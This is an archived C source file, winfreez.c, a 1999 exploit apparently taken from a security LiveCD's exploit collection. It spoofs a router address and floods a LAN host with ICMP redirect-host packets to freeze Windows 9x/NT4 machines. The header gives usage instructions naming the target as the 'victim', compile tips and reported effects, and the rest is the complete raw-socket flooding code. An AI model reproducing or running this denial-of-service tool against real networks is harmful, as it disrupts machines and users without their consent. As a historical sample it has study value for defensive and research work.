home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / winfreez.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  7.8 KB  |  306 lines

  1. /*
  2.  WinFreez.c by Delmore <delmore@moscowmail.com>
  3.  
  4.  ICMP/Redirect-host message storm freeze Win9x/NT(sp4) box
  5.  in LAN.
  6.  
  7.  Usage: winfreez sendtoip sendfromip time
  8.  where <sendtoip> is victim host, <sendfromip> is router
  9.  for victim host, <time> is time in seconds to freeze victim.
  10.  
  11.  Note:
  12.  I've written small exploit for freeze win9x/nt boxes in LAN.
  13.  Proggy initiates ICMP/Redirect-host messages storm from router
  14.  (use router ip). Windows will receive redirect-host messages
  15.  and change own route table, therefore it will be frozen
  16.  or slowly working during this time.
  17.  
  18.  On victim machine route table changes viewing with:
  19.  ROUTE PRINT
  20.  command in ms-dos box.
  21.  
  22.  Exploit show different result for different system configuration.
  23.  
  24.  System results:
  25.  
  26.  p200/16ram/win95osr2 is slowly execute application
  27.  after 20 seconds of storm.
  28.  
  29.  p233/96ram/nt4-sp4 is slowly working after 30
  30.  seconds of storm.
  31.  
  32.  p2-266/64ram/win95 working slowly and can't normal execute
  33.  application.
  34.  
  35.  
  36.  Compiled on RedHat Linux 5, Kernel 2.0.35 (x86)
  37.  gcc ./winfreez.c -o winfreez
  38.  
  39.  --- for Slackware Linux, Kernel 2.0.30
  40.  If you can't compile due to ip_sum not defined errors,
  41.  replace (line 207):
  42.   ip->ip_sum = 0;
  43.  to line:
  44.   ip->ip_csum = 0;
  45.  ---
  46.  
  47.  Soldiers Of Satan group
  48.  Russia, Moscow State University, 05 march 1999
  49.  http://sos.nanko.ru
  50.  
  51.  Thanx to Mark Henderson.
  52.  
  53.  */
  54.  
  55. #include <stdio.h>
  56. #include <stdlib.h>
  57. #include <time.h>
  58. #include <string.h>
  59.  
  60. #include <sys/types.h>
  61. #include <sys/socket.h>
  62. #include <netdb.h>
  63. #include <netinet/in.h>
  64. #include <netinet/in_systm.h>
  65. #include <netinet/ip.h>
  66. #include <netinet/ip_icmp.h>
  67.  
  68. /*
  69.  * Structure of an icmp header (from sparc header).
  70.  */
  71.  
  72. struct icmp
  73.   {
  74.     u_char icmp_type; /* type of message, see below */
  75.     u_char icmp_code; /* type sub code */
  76.     u_short icmp_cksum; /* ones complement cksum of struct */
  77.  
  78.     union {
  79.         u_char ih_pptr; /* ICMP_PARAMPROB */
  80.         struct in_addr ih_gwaddr; /* ICMP_REDIRECT */
  81.         struct ih_idseq
  82.           {
  83.             n_short icd_id;
  84.             n_short icd_seq;
  85.           }
  86.         ih_idseq;
  87.  
  88.         int ih_void;
  89.       } icmp_hun;
  90.  
  91. #define icmp_pptr icmp_hun.ih_pptr
  92. #define icmp_gwaddr icmp_hun.ih_gwaddr
  93. #define icmp_id icmp_hun.ih_idseq.icd_id
  94. #define icmp_seq icmp_hun.ih_idseq.icd_seq
  95. #define icmp_void icmp_hun.ih_void
  96.  
  97.     union {
  98.         struct id_ts
  99.           {
  100.             n_time its_otime;
  101.             n_time its_rtime;
  102.             n_time its_ttime;
  103.           }
  104.         id_ts;
  105.  
  106.         struct id_ip
  107.           {
  108.             struct ip idi_ip;
  109.             /* options and then 64 bits of data */
  110.           }
  111.         id_ip;
  112.  
  113.         u_long id_mask;
  114.         char id_data[1];
  115.       } icmp_dun;
  116.  
  117. #define icmp_otime icmp_dun.id_ts.its_otime
  118. #define icmp_rtime icmp_dun.id_ts.its_rtime
  119. #define icmp_ttime icmp_dun.id_ts.its_ttime
  120. #define icmp_ip icmp_dun.id_ip.idi_ip
  121. #define icmp_mask icmp_dun.id_mask
  122. #define icmp_data icmp_dun.id_data
  123.  
  124.   };
  125.  
  126.  
  127. u_short in_cksum (u_short *addr, int len);
  128. void attack( char *sendtoip, char *sendfromip, time_t wtime, int s );
  129.  
  130.  
  131. void main (int argc, char **argv)
  132. {
  133.   time_t wtime;
  134.   char *sendtoip, *sendfromip;
  135.   int s, on;
  136.  
  137.   if (argc != 4)
  138.     {
  139.       fprintf (stderr, "usage: %s sendto sendfrom time\n", argv[0]);
  140.       exit (1);
  141.     }
  142.  
  143.   sendtoip = (char *)malloc(strlen(argv[1]) + 1);
  144.   strcpy(sendtoip, argv[1]);
  145.  
  146.   sendfromip = (char *)malloc(strlen(argv[2]) + 1);
  147.   strcpy(sendfromip, argv[2]);
  148.  
  149.   wtime = atol(argv[3]);
  150.  
  151.   if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  152.     {
  153.       fprintf (stderr, "socket creation error\n" );
  154.       exit (1);
  155.     }
  156.  
  157. #ifdef IP_HDRINCL
  158.   if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
  159.     {
  160.       fprintf (stderr, "sockopt IP_HDRINCL error\n" );
  161.       exit (1);
  162.     }
  163. #endif
  164.  
  165.   printf("winfreez by Delmore, <delmore@moscowmail.com>\n");
  166.   printf("Soldiers Of Satan group, http://sos.nanko.ru\n\n");
  167.   printf("sendto = %s\n", sendtoip);
  168.   printf("sendfrom = %s\n", sendfromip);
  169.   printf("time = %i s\n", wtime);
  170.  
  171.   attack( sendtoip, sendfromip, wtime, s );
  172.  
  173.   free( (void *) sendtoip );
  174.   free( (void *) sendfromip );
  175. }
  176.  
  177.  
  178. void attack( char *sendtoip, char *sendfromip, time_t wtime, int s )
  179. {
  180.   time_t curtime, endtime;
  181.   int i1, i2, i3, i4;
  182.   char redir[21];
  183.   char buf[100];
  184.   struct ip *ip = (struct ip *) buf;
  185.   struct icmp *icmp = (struct icmp *) (ip + 1);
  186.   struct hostent *hp;
  187.   struct sockaddr_in dst;
  188.  
  189.   if(wtime==0) return;
  190.  
  191.   if ((hp = gethostbyname (sendtoip)) == NULL)
  192.     if ((ip->ip_dst.s_addr = inet_addr (sendtoip)) == -1)
  193.       {
  194.         fprintf (stderr, "%s: unknown sendto\n", sendtoip);
  195.         exit (1);
  196.       }
  197.  
  198.   if ((hp = gethostbyname (sendfromip)) == NULL)
  199.     if ((ip->ip_src.s_addr = inet_addr (sendfromip)) == -1)
  200.       {
  201.         fprintf (stderr, "%s: unknown sendfrom\n", sendfromip);
  202.         exit (1);
  203.       }
  204.  
  205.   endtime = time(NULL) + wtime;
  206.  
  207.   srand((unsigned int) endtime);
  208.  
  209.   do
  210.     {
  211.       bzero (buf, sizeof buf);
  212.  
  213.       /* sendto/gateway */
  214.       hp = gethostbyname (sendtoip);
  215.       bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  216.       bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length);
  217.  
  218.       /* sendfrom */
  219.       hp = gethostbyname (sendfromip);
  220.       bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
  221.  
  222.       /* generate redirect*/
  223.       i1 = 1+(int) (223.0*rand()/(RAND_MAX+1.0));
  224.       i2 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
  225.       i3 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
  226.       i4 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
  227.  
  228.       bzero (redir, sizeof redir);
  229.       sprintf(redir,"%u.%u.%u.%u", i4, i3, i2, i1 );
  230.  
  231.       hp = gethostbyname (redir);
  232.       bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length);
  233.  
  234.       ip->ip_v = 4;
  235.       ip->ip_hl = sizeof *ip >> 2;
  236.       ip->ip_tos = 0;
  237.       ip->ip_len = htons (sizeof buf);
  238.       ip->ip_id = htons (4321);
  239.       ip->ip_off = 0;
  240.       ip->ip_ttl = 255;
  241.       ip->ip_p = 1;
  242.       ip->ip_sum = 0;               /* kernel fills this in */
  243.  
  244.       bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof(ip->ip_dst.s_addr));
  245.       icmp->icmp_ip.ip_v = 4;
  246.       icmp->icmp_ip.ip_hl = sizeof *ip >> 2;
  247.       icmp->icmp_ip.ip_tos = 0;
  248.       icmp->icmp_ip.ip_len = htons (100);   /* doesn't matter much */
  249.       icmp->icmp_ip.ip_id = htons (3722);
  250.       icmp->icmp_ip.ip_off = 0;
  251.       icmp->icmp_ip.ip_ttl = 254;
  252.       icmp->icmp_ip.ip_p = 1;
  253.       icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip);
  254.  
  255.       dst.sin_addr = ip->ip_dst;
  256.       dst.sin_family = AF_INET;
  257.  
  258.       icmp->icmp_type = ICMP_REDIRECT;
  259.       icmp->icmp_code = 1; /* 1 - redirect host, 0 - redirect net */
  260.       icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof(*ip));
  261.  
  262.       if( sendto( s, buf, sizeof buf, 0, (struct sockaddr *) &dst, sizeof dst) < 0 )
  263.         {
  264.           fprintf (stderr, "sendto error\n");
  265.           exit (1);
  266.         }
  267.  
  268.     }
  269.   while (time(NULL)!=endtime);
  270. }
  271.  
  272. /*
  273.  * in_cksum -- Checksum routine for Internet Protocol family headers (C
  274.  * Version) - code from 4.4 BSD
  275.  */
  276. u_short in_cksum (u_short *addr, int len)
  277. {
  278.   register int nleft = len;
  279.   register u_short *w = addr;
  280.   register int sum = 0;
  281.   u_short answer = 0;
  282.  
  283.   /*
  284.    * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  285.    * sequential 16 bit words to it, and at the end, fold back all the
  286.    * carry bits from the top 16 bits into the lower 16 bits.
  287.    */
  288.   while (nleft > 1)
  289.     {
  290.       sum += *w++;
  291.       nleft -= 2;
  292.     }
  293.  
  294.   /* mop up an odd byte, if necessary */
  295.   if (nleft == 1)
  296.     {
  297.       *(u_char *) (&answer) = *(u_char *) w;
  298.       sum += answer;
  299.     }
  300.   /* add back carry outs from top 16 bits to low 16 bits */
  301.   sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  302.   sum += (sum >> 16);           /* add carry */
  303.   answer = ~sum;                /* truncate to 16 bits */
  304.   return (answer);
  305. }
  306. /*                    www.hack.co.za              [2000]*/